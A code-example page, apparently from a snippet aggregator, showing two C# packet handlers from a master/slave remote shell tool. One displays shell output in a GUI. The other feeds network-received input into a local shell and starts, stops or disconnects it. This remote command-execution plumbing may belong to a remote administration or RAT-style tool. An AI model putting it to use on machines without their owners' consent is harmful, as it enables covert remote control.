Beispiel #1
0
        public override void HandlePacket(object sender, string packet_raw)
        {
            Packet packet = Packet.Deserialize(packet_raw);

            if (packet.Type == "Shell_IO_ChangedPacket")
            {
                Shell_IO_ChangedPacket shell_IO_changed = Shell_IO_ChangedPacket.Deserialize(packet_raw);
                if (shell_IO_changed.ChangeType == ChangeType.Output)
                {
                    ShellEmulator.Parent.Invoke(new Action(() => {
                        char[] char_arr = shell_IO_changed.Change.ToCharArray();
                        foreach (char chr in char_arr)
                        {
                            switch (chr)
                            {
                            case '\b':
                                ShellEmulator.Text = new string(ShellEmulator.Text.ToCharArray().Reverse().Skip(1).Reverse().ToArray());
                                break;

                            case '\r':
                                break;

                            default:
                                ShellEmulator.Text += chr;
                                break;
                            }
                        }
                        ShellEmulator.SelectionStart = ShellEmulator.Text.Length;
                        ShellEmulator.ScrollToCaret();
                    }));
                }
            }
        }
Beispiel #2
0
        public string ReadPacket()
        {
            string json   = Read();
            Packet packet = JsonConvert.DeserializeObject <Packet>(json);

            Console.WriteLine($"Received packet of type {packet.Type}");

            if (packet.Type == "Shell_IO_ChangedPacket")
            {
                Shell_IO_ChangedPacket packet__ = Shell_IO_ChangedPacket.Deserialize(json);
                //Console.WriteLine($"ChangeType: {packet__.ChangeType}; Change: {packet__.Change}");
            }
            return(json);
        }
        public override void HandlePacket(object sender, string packet_raw)
        {
            Packet packet = Packet.Deserialize(packet_raw);

            if (packet.Type == "Shell_IO_ChangedPacket")
            {
                Shell_IO_ChangedPacket shell_IO_changed = Shell_IO_ChangedPacket.Deserialize(packet_raw);
                if (shell_IO_changed.ChangeType == ChangeType.Input)
                {
                    ShellInstance.Write(shell_IO_changed.Change);
                }
            }
            if (packet.Type == "SetShellStatePacket")
            {
                SetShellStatePacket setShellState = SetShellStatePacket.Deserialize(packet_raw);
                if (setShellState.ShellUniqueId != ShellInstance.UniqueId)
                {
                    ShellStateSetPacket result_fail = new ShellStateSetPacket(setShellState.ClientUniqueId, setShellState.ShellUniqueId,
                                                                              setShellState.ShellState, false);
                    Connection.SendPacket(result_fail);
                    return;
                }

                switch (setShellState.ShellState)
                {
                case ShellState.Running:
                    ShellInstance.Start();
                    break;

                case ShellState.Stopped:
                    ShellInstance.Stop();
                    break;
                }

                ShellStateSetPacket result_success = new ShellStateSetPacket(setShellState.ClientUniqueId, setShellState.ShellUniqueId,
                                                                             setShellState.ShellState, true);
                Connection.SendPacket(result_success);
            }
            if (packet.Type == "DisconnectShellPacket")
            {
                DisconnectShellPacket disconnectShellPacket = DisconnectShellPacket.Deserialize(packet_raw);
                if (disconnectShellPacket.ClientUniqueId != Client.UniqueId)
                {
                    ShellDisconnectedPacket result_fail = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, false);
                    Connection.SendPacket(result_fail);
                    return;
                }
                if (disconnectShellPacket.ShellUniqueId != ShellInstance.UniqueId)
                {
                    ShellDisconnectedPacket result_fail = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, false);
                    Connection.SendPacket(result_fail);
                    return;
                }

                ShellInstance.Stop();
                ShellInstance.ShellOutputChanged         -= SlaveGlobalData.ShellOutputChangedHandler;
                SlaveGlobalData.ShellOutputChangedHandler = null;
                SlaveGlobalData.ShellInstance             = null;
                if (SlaveGlobalData.ShellListenerLoop != null)
                {
                    SlaveGlobalData.ShellListenerLoop.AbortLoop = true;
                    SlaveGlobalData.ShellListenerLoop           = null;
                }
                DisconnectPipePacket disconnectPipePacket = new DisconnectPipePacket(Client.UniqueId, PipeType.Shell);
                Client.Pipes.MainPipe.SendPacket(disconnectPipePacket);

                ShellDisconnectedPacket result_success = new ShellDisconnectedPacket(Client.UniqueId, ShellInstance.UniqueId, true);
                Connection.SendPacket(result_success);
            }
        }